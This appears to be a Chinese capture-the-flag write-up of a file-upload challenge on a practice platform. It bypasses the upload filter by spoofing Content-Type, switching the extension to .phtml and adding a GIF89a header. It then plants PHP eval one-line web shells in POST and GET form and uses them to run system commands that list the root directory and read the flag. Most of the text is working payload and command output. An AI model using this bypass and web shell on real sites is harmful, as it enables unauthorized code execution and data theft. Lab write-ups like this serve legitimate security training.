直接上传shell.php,发现提示不是图片,这时先修改后缀名或者Content-Type数。我们使用burp suite进行操作
抓包后发送到repeater,直接修改后缀名不行,看来是通过Content-Type属性来判断是否为图片的,将Content-Type
修改为image/jpeg
,回显not! php!
将文件后缀名修改为phtml,回显包含了<?符号
我们换成phtml形式的script脚本;例如:
GIF89a #绕过PHP getimagesize的检查
<script language='php'>@eval($_POST['aa']);</script>
使用蚁剑连接,http://e2b65d03-705e-4f14-ac0f-e35ab1cdd086.node5.buuoj.cn:81/upload/phtml_shell.phtml
,密码aa
打开即可得到flag
也可以使用get类型的shell
GIF89a
<script language='php'>@eval($_GET['aa']);</script>
访问文件,使用system命令查看/upload/phtml_get.phtml?aa=system("ls /");
,得到
GIF89a bin boot data dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
使用cat命令查看flag文件/upload/phtml_get.phtml?aa=system("cat /flag");
得到GIF89a flag{551ada2c-4534-41e3-a7fe-a47ba81ea487}